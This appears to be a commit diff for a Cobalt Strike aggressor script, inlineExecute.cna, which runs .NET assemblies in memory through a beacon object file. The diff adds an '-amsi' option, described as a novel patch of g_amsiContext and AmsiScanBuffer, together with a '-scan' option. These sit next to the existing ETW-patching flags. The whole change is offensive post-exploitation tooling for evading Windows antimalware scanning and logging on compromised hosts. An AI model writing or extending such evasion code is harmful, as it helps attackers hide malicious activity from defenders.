AMSI patching

Novel technique that patches the g_amsiContext and AmsiScanBuffer global variables. It is not extensively tested. Use with care.

inlineExecute/inlineExecute.cna

@@ -1,6 +1,6 @@
 # inlineExecute.cna
 
-$help = "Usage: inlineExecute [-etwH] [-etwB] [-verbose] <filepath> <args>"; 
+$help = "Usage: inlineExecute [-etwH] [-etwB] [-amsi] [-verbose] [-scan] <filepath> <args>"; 
 
 beacon_command_register(
 	"inlineExecute",
@@ -15,13 +15,14 @@ alias inlineExecute {
 	$data = substr($0, $commandLength + 1); # +1 to include a " " space
 	$dataLength = &strlen($data);
 	
-	local('$bid $filepath $bof_args')
-	
 	@args = split(' ', $data);
 	
 	$patchEtwProviderHandle = false;
 	$patchEtwEnableBits = false;
 	$verbose = false;
+	$patchAmsi = false;
+	$scan = false;
+	
 	for ($i = 0; $i < size(@args); $i++) {
 		if (@args[$i] iswm "-etwH") {
 			$patchEtwProviderHandle = true;
@@ -32,21 +33,34 @@ alias inlineExecute {
 		} else if (@args[$i] iswm "-verbose") {
 			$verbose = true;
 			
+		} else if (@args[$i] iswm "-amsi") {
+			$patchAmsi = true;
+			
+		} else if (@args[$i] iswm "-scan") {
+			$scan = true;
+			
 		} else {
 			$filepath = @args[$i];
 			break;
 		}
 	}
 	
+	$handle = openf(script_resource("inlineExecute.o"));
+	$bof = readb($handle, -1);
+	
+	if ($scan) {
+		@arr = @();
+		$bof_args = bof_pack($1, "biziiiii", "", 0, "", 0, 0, 0, 0, $scan);
+		beacon_inline_execute($1, $bof, "go", $bof_args);
+		return;
+	}
+	
 	$filepathLength = &strlen($filepath);
 	if ($filepathLength == 0) {
 		blog($1, $help);
 		return;
 	}
 	
-	$handle = openf(script_resource("inlineExecute.o"));
-	$bof = readb($handle, -1);
-	
 	$assemblyHandle = openf($filepath);
 	$assemblyLength = lof($filepath);
 	$assemblyBytes = readb($assemblyHandle, -1);
@@ -65,7 +79,6 @@ alias inlineExecute {
 		return;
 	}
 	
-	$bof_args = bof_pack($1, "biziii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $verbose);
-	
+	$bof_args = bof_pack($1, "biziiiii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $patchAmsi, $verbose, $scan);
 	beacon_inline_execute($1, $bof, "go", $bof_args);
-}
+}